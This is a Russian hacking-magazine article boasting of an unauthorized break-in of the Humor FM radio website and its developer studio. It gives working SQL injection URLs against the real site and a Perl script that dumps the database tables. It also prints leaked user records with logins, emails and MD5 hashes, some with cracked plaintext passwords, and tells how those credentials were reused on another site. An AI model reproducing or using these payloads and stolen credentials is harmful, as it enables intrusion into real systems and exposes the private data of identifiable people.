Юморим по-хакерски: ломаем "Юмор FM"

Пожалуй, в жизни каждого бывают моменты, когда хочется расслабиться или просто отдохнуть от повседневной рутины. В такой ситуации кто-то на скорую руку вешает дефейс на сайте приглянувшегося ему хостинга, а кто-то долго и мучительно флудит телефоны недругов забавными sms’ками. Я же решил просто послушать радио. Что из этого получилось — читай ниже.

Шутки ради
Одним осенним вечером, когда прохлада и слякоть за окном отбивали всякое желание выбраться на прогулку, я решил пропарсить в Сети несколько радиостанций на предмет хорошей музыки. Перебирая одно «радио» за другим, я вдруг наткнулся на любимую многими радиостанцию «Юмор FM» (Диджеям сего радио респект, — Прим. автора). После нескольких прикольных историй, услышанных в эфире, в моей голове родилась очередная безумная идея, вследствие которой вещание радиостанции уже перестало меня интересовать. В окне браузера замелькал Гугл с заголовками «Юмор FM». Моему взору предстали десятки разнообразных доменов, состоящих из комбинаций слов «humor»/«yumor» и «fm», но среди прочих выделялся красивый и явно не дешевый домен wwwhumor.fm. Как и ожидалось, линк вел на официальный сайт радиостанции «Юмор FM». Первым делом я по привычке воспользовался сервисом http://madnet.name/tools/madss, который выдал следующую информацию по домену wwwhumor.fm:

IP: 77.120.97.62
ТИЦ: 30
PR: 3

Кроме того, на сервере хостилось несколько десятков ресурсов, которые, впрочем, трогать раньше времени не хотелось. Удаленно просканировав сервер, я получил примерный расклад по открытым портам и запущенным службам, среди которых значились:

21‑TCP порт — FTP
25‑TCP порт — SMTP
53‑TCP порт — DNS
80‑TCP порт — HTTP
110‑TCP порт — POP3

Увы, но дополнительное сканирование на наличие открытых для чтения каталогов (с учетом неправильно выставленных чмодов) результатов не дало. Так же, как и не была найдена админка или хоть какое-то подобие администраторской панели. После недолгого ковыряния движка, сопровождавшегося изредка встречающимися пассивными XSS’ками, была успешно опробована формочка восстановления пароля, располагавшаяся по адресу:

https://humor.fm/forget/do.4.

Стоит ли говорить, что в полях «Логин» и «E-mail» напрочь отсутствовала какая-либо фильтрация. Налицо — sql-инъекция, правда, полноценно использовать ее можно было только при помощи POST-запросов. Погуляв по сайту еще некоторое время, я обнаружил достаточно удобную sql-инъекцию в параметре сообщения об ошибке в скрипте логина. Причем, бага была явной, — всю ругань СУБД на неправильно сконструированный запрос я мог отчетливо наблюдать на своем мониторе:

DEBUG MODE
SQL Error 1064: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server
version for the right syntax to use near '' AND id_lng
='1'' at line 1
SQL: SELECT text FROM db_strings WHERE alias = 'здесь_
наш_запрос' AND id_lng ='1'
FILE: /kernel/modules/CPage.php
LINE: 93
FUNCTION: row_select

Поле адресной строки для внедрения скул-запроса выглядело следующим образом:

http://humor.fm/login/?error=-1 union select table_name from information_schema.tables limit 1,1#.

Благо, на сервере крутилась пятая версия мускула, и я без труда мог шарить по интересующим меня табличкам. Однако количество таблиц в information_schema зашкаливало за несколько десятков, что сулило не один час работы. Немного отредактировал собственный скул-граббер:

#!/usr/bin/perl
print "= SQL-injection Grabber =\n";
use LWP::Simple qw(get);
open(F, '>E:\Perl\result.txt');
$z=0;
for ($i=1;$i<=50;$i++){
open(C, '>count.txt');
$url="http://humor.fm/login/?error=-1'+union+select
+concat(char(94),table_name,char(94))+from+information
_schema.tables+limit+$i,1%23";
$cont=get($url);
print F $cont."\n";
$z=$z+1;
print C $z;
close C;
}
close F;
print "= DONE =\n";
print $z;

После чего я запустил скрипт и отправился спать.

Веселье продолжается
Проснувшись и отпарсив лог скул-граббера, я получил список названий табличек (часть записей):

db_cat, db_chunks, db_cms_log, db_count, db_dest_cities, db_dest_countries, db_dest_provinces, db_faq, db_faq_copy, db_faq_strings, db_group, db_lng, db_mail, db_mail_resume, db_mail_strings, db_mail_strings_copy, db_menu, db_news, db_news_copy, db_news_tree, db_permit, db_press, db_search_strings, db_sessions, db_strings, db_templates, db_templates_copy, db_user, db_user_dealers_info, db_user_dealers_info_copy, db_user_strings, db_user_visotors_info, db_user_visotors_ info_copy

В первую очередь, меня интересовала таблица db_user, содержимое которой я просматривал уже через несколько минут:

http://humor.fm/login/?error=-1'+union+select+concat(login,char(58),email,char(58),password)+from+db_user+limit+1,1%23
http://humor.fm/login/?error=-1'+union+select+concat(login,char(58),email,char(58),password)+from+db_user+where+login=%22admin%22%23

Таким образом, была найдена учетная запись админа:

admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac

Увы, но вместо пароля в базе хранились мд5‑хэши. Поэтому, так же как и в случае с табличками, я решил слить всю базу пользователей (около 600 записей) при помощи sql-граббера для последующего детального анализа (Часть записей, — Прим. автора):

cappy:cappy@mail.ru:168416487b5b0dea3478992a914c7706
qwas:qwas@idea.net.ua:c8e25115addeda1656b52cfbe7b2b780
Joker:joker@idea.net.ua:589ca240c5222730de730b7013c3b9b6
kamrad:kamrad@gala.net:127b177747ce8b42cf37a001e411a71d
hahameled:hahameled@hotmail.com:1c59b1c8630c397d34c9a7f74cc8b8cd
Decoy:decoy@idea.net.ua:b882e3b467d649792fc4c0cc49592e90
Chris:v_sysoyenko@mail.ru:f4564b3036cf120eb74c2a9f7877ab34
admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac
kerber:kerber@idea.net.ua:58acb17af943b7218bca87690910c555
lora:support@idea.net.ua:174c94f5c7f5a11941cab1d8069bf820
vitaly:vitaly@idea.net.ua:349a096f2d6df52cc0b4d5d43ba32e6f
maverick:kgbdon@mail.ru:ef9156a75c96dbc0896bb8ee8388f0ef
Denis:name05@mail.ru:25f9e794323b453885f5181f1b624d0b
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6c653f7c0b0
lesha:l.dontsov@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
nastia::a398fb77df76e6153df57cd65fd0a7c5
andrey::a398fb77df76e6153df57cd65fd0a7c5
vezde::a398fb77df76e6153df57cd65fd0a7c5
makar:makar3000@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
inga:privet@humor.fm:a398fb77df76e6153df57cd65fd0a7c5
Energy:ilko_93@mail.ru:28a34010e84b881fb087359c7e280a08
mandbat:mandbat@mail.ru:9246fe90c455dd8e3431c3b59dae6ed1
Lotos:lotos811@mail.ru:992f71412b41f71623ab6e083dec29a9
vasiliy:pravo7@pochta.ru:5ed58b3456c67b0cb260e14eaa58f24b
Vlados:vlados7@yandex.ru:67a70698218034437e4f1534600c9fb2
AL@X:adece@yandex.ru:c9324104045e1ed3e067b5bf8f063e5f

Порывшись среди аккаунтов, я выбрал наиболее ценные и отправился на известный ресурс http://passcracking.ru с целью сбрутить парочку-другую паролей. Как ни странно, мне это удалось, в результате чего в моих руках оказалось несколько аппетитных акков менеджеров и диджеев радио-станции «Юмор FM»:

lora:support@idea.net.ua:174c94f5c7f5a11941c
ab1d8069bf820 — lora
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6
c653f7c0b0 — werty
inga:privet@humor.fm:a398fb77df76e6153df57cd
65fd0a7c5 — radio
Smile:office@humor.fm:6074c6aa3488f3c2dddff2
a7ca821aab — 5555
lesha:l.dontsov@mail.ru:a398fb77df76e6153df5
7cd65fd0a7c5 — radio

Выбрав аккаунт одного из диджеев:

логин: lesha
пароль: radio

я без труда залогинился на сайте и получил полноценный доступ к профилю/почте и прочим вкусностям :). Погуляв по сайту под разными аккаунтами, я вспомнил о своем желании немного поглумиться. Но портить содержимое сайта в мои планы не входило, посему я уже было собирался удаляться, когда мне на глаза попались строчки: «Разработка и поддержка: Дизайн-студия «Идея». В глубине души что-то подсказывало мне, что стоит навестить сию контору в поисках новых, гхм, «приключений».

Делу время, потехе — час
Сайт студии девелоперов, наклепавших движок для «Юмор FM», располагался по адресу wwwidea.net.ua. Как оказалось, на сайте присутствовала форма логина юзеров:

http://www.idea.net.ua/?cid=8000

Некоторые из слитых мной аккаунтов из базы «Юмор FM», содержащие мыла вида «support@idea.net.ua», успешно подошли и на сайте девелоперов. Ресурс содержал раздел «Портфолио», в котором публиковались линки на уже готовые проекты, коих насчитывалось порядка 200. Кроме уже похаканного «Юмор FM», мое внимание привлекли такие ресурсы, как официальный сайт ФК «Шахтер», сайт журнала «Авто.UA Тюнинг» и много чего еще. Кстати, среди проектов я отыскал сайты двух популярных радиостанций — «Европа +» и «Авторадио». Но, как говорится, это уже совсем другая история...

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!